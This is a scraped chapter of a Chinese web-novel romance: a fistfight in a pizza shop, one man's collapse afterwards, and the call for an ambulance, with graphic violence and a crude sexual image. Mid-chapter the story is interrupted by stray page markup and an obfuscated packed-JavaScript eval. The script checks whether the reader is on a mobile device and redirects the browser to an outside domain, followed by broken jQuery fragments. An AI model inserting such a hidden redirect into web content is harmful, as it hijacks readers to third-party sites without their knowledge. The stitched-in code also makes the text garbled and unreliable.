晚来秋我爱吃大馒头

47. 赔了夫人又折兵

    “哥哥晚上有空吗,我随时都可以过来哦~”


    “滚。”


    “什么时候你从狒狒进化成人,什么时候咱俩再约。”


    时刻退出软件界面,被刚刚自己看到的画面恶心的够呛。


    两条毛毛腿中间挂着颗变质地瓜,地瓜上还带着不明液体,堪称生化武器。


    时刻随手将嘴里的烟蒂丢进垃圾桶,脑子里还在回想刚刚迟挽身上的薄荷味。


    他一直喜欢的都是迟挽这种小美人款,奈何这两年gay圈趋势成谜,不是熊就是猪,正常人压根没有几个。


    时刻有心想和迟挽认识,可惜小美人身边有个喜欢叫唤的红毛小狗,每次时刻一和迟挽说话,小狗就炸毛。


    刚刚居然还想和他动手。


    时刻嗤笑一声,真是不自量力。


    就红毛小狗那体格,也不知道能不能扛得住自己一拳,要是真被自己打的呜呜叫,迟挽会不会抱着他这个情哥哥放在怀里哄呢。


    啧啧,时刻揉了揉有些酸疼的手腕,眼底有几分期待。


    他很想看到这样的场景发生。


    可惜了,刚刚石秋榭居然忍住没动手。


    时刻看着毫无动静的好友申请,只觉得有些无趣。


    费了这么大功夫拿到迟挽的联系方式,但小美人貌似对他不感冒,估计不会通过了。


    “嗡嗡嗡……”


    闹钟响起,时刻伸了个懒腰,把店里粗略收拾了一下,准备下班了。


    他背对着门口,吹起了口哨,手里是沾满了番茄酱和奶酪的碗盆,洗完这些就能关门跑路了。


    想到今天的播客还没听,时刻戴上蓝牙,刚听了两分钟不到,就被身后猝不及防袭来的巨力掀翻到地上。


    “艹你大爷,谁啊!”


    时刻满脸不耐烦抬头,迎接他的是石秋榭暴怒的拳头。


    “我是你爹。”


    石秋榭冷着脸,一拳一拳揍在时刻那张欠揍的脸上,时刻的鼻血飞溅在他眼角,像是点了一颗红痣。


    时刻在看清来人之后,没选择还手。


    他像是完全感知不到身上的疼痛一般,还有心思和石秋榭闲聊。


    “生气了小狗,是看到了我给小美人发的聊天申请吗?”


    时刻的左眼已经被打的肿胀,但他依然无视气到发抖的石秋榭,甚至在间隙还有空用完好的右眼给石秋榭抛了个媚眼。


    “其实你这样的,我也有办法慢慢教……艹!”


    时刻自顾自笑出了声,石秋榭没有回话,只是盯着时刻鼻青脸肿的脸几秒,然后毫不犹豫给了时刻的右眼一拳。


    “好了,这下就对称了,乌眼鸡。”


    石秋榭打完这一拳,俯身揪住时刻的衣领:“我不管你是同性恋还是变态,都给我离迟挽远点,别把你那恶心的一面让他看到……”


    “如果你做不到,我不介意帮你一把。你而迟挽不过就是玩玩,但他是我弟,谁碰他,我干谁,你要是想玩命,我奉陪。”


    时刻原本气定神闲的神色在石秋榭冷漠的语气中逐渐有了裂开的趋势,他用手捂住自己又烫又麻的眼睛,冷笑几声。


    “就凭你,我到现在还没还手呢。你猜,我要是真动手,你能扛得住我几拳?”


    时刻眼底布满红血丝,脖子上的青筋跳动着,双腿已经蠢蠢欲动,准备给不知死活的石秋榭来个绞杀。


    石秋榭盯着身下终于露出狰狞底色的变态,额头冒出些细汗。


    就是这样的人,妄图去伤害迟挽。


    也许自己确实打不过时刻,但只要时刻让自己受伤一次,从此迟挽将不会多看时刻一眼。


    他们会变成彻彻底底的陌生人,石秋榭敢笃定。


    所以在感知到身下那人准备攻击的前奏时,石秋榭并没有躲闪,反而冲时刻露出个势在必得的微笑。


    “艹!”时刻被石秋榭的神情彻底激怒,双腿如同蛟龙一般迅速缠上石秋榭的脖子,只是短短几秒,石秋榭的脸上就被勒的青筋暴起。


    “你~完~了~”石秋榭无法发出声音,却还是直视着时刻的脸,完美的将口型传达给他。


    时刻怒极反笑,顺手给了石秋榭的左脸一拳,石秋榭的脸偏向一边,鼻血顺着耳朵滴在地上。


    他只觉得自己脑子中间有根钢丝在搅动,耳鸣声改过了周围的一切声音,除了发烫的左脸,身上其他地方都没了知觉。


    “滚开!”


    时刻面无表情的抬起胳膊,正准备给石秋榭右脸也来一拳揍个对称轴时,迟挽来了。


    他顺手拿起一旁的椅子毫不犹豫给时刻的背后来了一下,时刻痛呼一声,捂着右肩倒在地上,始终禁锢着石秋榭的双腿也终于松开。


    “哥……”迟挽扶起石秋榭,都不敢用力,石秋榭咳嗽了几声,勉强能发出声音:“我没事,咱们走吧……”


    “好。”迟挽架着石秋榭,两人一同漠视了倒在地上呻吟的时刻,并肩走了出去。


    “……这还真是,赔了夫人又折兵啊。”


    时刻望着逐渐远去的两人,自顾自笑了几声,便若无其事从地上爬起来,仿佛被石秋榭打出的那些伤都不存在。


    他踉跄着走到椅子上坐下,仰头点了一根烟。


    想到刚刚发生的荒唐事,时刻摇了摇头。


    失算啊。


    石秋榭未必不知道自己打不过时刻,相反,他非常希望时刻能在这场互殴中取得优势。


    因为他清楚的知道,一旦迟挽看见他受伤,那么时刻在迟挽那,一切存在都将会被抹杀。


    这才是石秋榭的真实目的。


    他用自己的几道小伤,换来迟挽与时刻彻底划清界限。


    时刻以后不论说什么做什么,迟挽都将不予理睬。


    这也就意味着,时刻绝无机会把那套恶心人的东西用到迟挽身上。


    石秋榭捂着自己还在流血的鼻子,嘴角带着几分笑意,而满心焦急的迟挽,并没有看见他脸上那古怪的神情。


    与此同时,待在披萨店的时刻忍不住爆了句粗口。


    他破罐破摔趴在桌子上,无比清醒的认识到,迟挽以后恐怕再也不会光临他的披萨店了。


    “你哆嗦什么啊,冻的吗?”


    解决完那块恶臭的牛皮糖,石秋榭只觉得神清气爽,即使身上的伤口此刻疼得他发麻,他却还有心思与迟挽开玩笑。


    “……哥,别说那些没用的了。我们去医院吧,你的伤不是家里的医药箱就能处理的。”


    数九寒冬,滴水成冰的季节,迟挽却满头大汗。他几次想用手查看一下石秋榭的伤势,却又因为害怕弄疼石秋榭而缩回手。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789605|158067||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “没必要吧,就流了点鼻血,回去用纸塞两下就好了。”


    石秋榭不以为然,虽说时刻的拳头确实比一般人打的要痛,但拢共他也没打到几拳。


    正要发飙的时候迟挽就过来抡了时刻一板凳,真要论起伤势,时刻才应该是那个该去医院的人。


    迟挽劝阻的话还没说出口,刚刚还像没事人一般的石秋榭却突然蹲在地上吐起了黄水,里面还夹杂着血丝。


    “迟挽……”石秋榭有些茫然的抬头,瞳孔逐渐扩散,他掐着迟挽的胳膊还想说些什么,却抵不过铺天盖地袭来的眩晕感,挣扎几秒之后石秋榭头一歪,倒在迟挽身上彻底不省人事。


    “哥?”迟挽接住怀里已经昏迷的人,几乎不可置信。


    刚刚人还有说有笑的,怎么突然就倒地不起了?


    他又喊了几声石秋榭,理所当然没得到任何回应。


    120,对,打120!


    迟挽掏出自己的手机,摘掉已经结冰的手套,用僵硬的手指解锁,他控制不住自己发抖的手,三个简单的数字拨错五次才打出去。


    “……好的迟先生,请您先找个温暖的地方安置患者,我们马上就到。”


    迟挽挂断电话,有些想吐。


    他对自己刚才说了什么,完全没意识了。


    石秋榭依然紧闭双眼,迟挽看了他几秒,后知后觉开始把人往最近的一户人家里搬。


    屋主是个四十来岁的汉子,似乎和石秋榭认识,迟挽只依稀解释了几句,男人就让他俩进去了。


    “这脸上的伤是被打的吧,脖子上怎么也有,你们遇见坏人了?”


    黄勇皱着眉,粗略查看了石秋榭身上的伤,看向迟挽的眼神有些不善。


    “你是他什么人,我叫黄勇,论关系,石秋榭叫我一声哥。他伤成这样,你没有什么想说的吗?”


    黄勇替石秋榭盖上被子,转身打量着迟挽。大概是觉得迟挽的体型不像是能伤到石秋榭的人,黄勇的眼神和缓了些。


    “算了,我看你吓成这样,人应该不是你打的吧?你也别害怕了,这小子皮实着呢,小时候被他爸抽上三天也没事,这点小伤对他来说不值一提。”


    黄勇拍了拍迟挽的肩膀,给他端来一杯冒着热气的红枣茶:“喝点这个缓缓,该回神了。”


    迟挽接过被子大口喝下半杯,他打了个哆嗦,开始回答黄勇刚才的问题。


    “我叫迟挽,是石秋榭的朋友。他现在就住我家,我爷爷叫迟觉予,你们应该多少都认识他。”


    黄勇点点头:“迟爷爷我知道,我以前还吃过他给的奶糖。”


    迟挽咽下嘴中的枣皮,接着往下说:“石哥变成现在这样,是被人打的。村东头开了家披萨店,你知道吧。店主叫时刻。”


    “我不知道他们两人具体有什么矛盾,只知道等我到的时候,石哥被时刻泪着脖子倒在地上,时刻还给了他几拳。”


    “我用椅子把时刻抡到地上,然后就带着石哥走了。一开始石哥还很正常,只是有些流鼻血,我叫他去医院他还不想去。”


    “但是说着说着,他就吐了。吐的黄水,里面有血,再然后,他就晕了过去。”


    “我就打了120,医生让我先把石哥带到暖和的地方,免得冻伤。你家离我们最近,我就来敲门了……”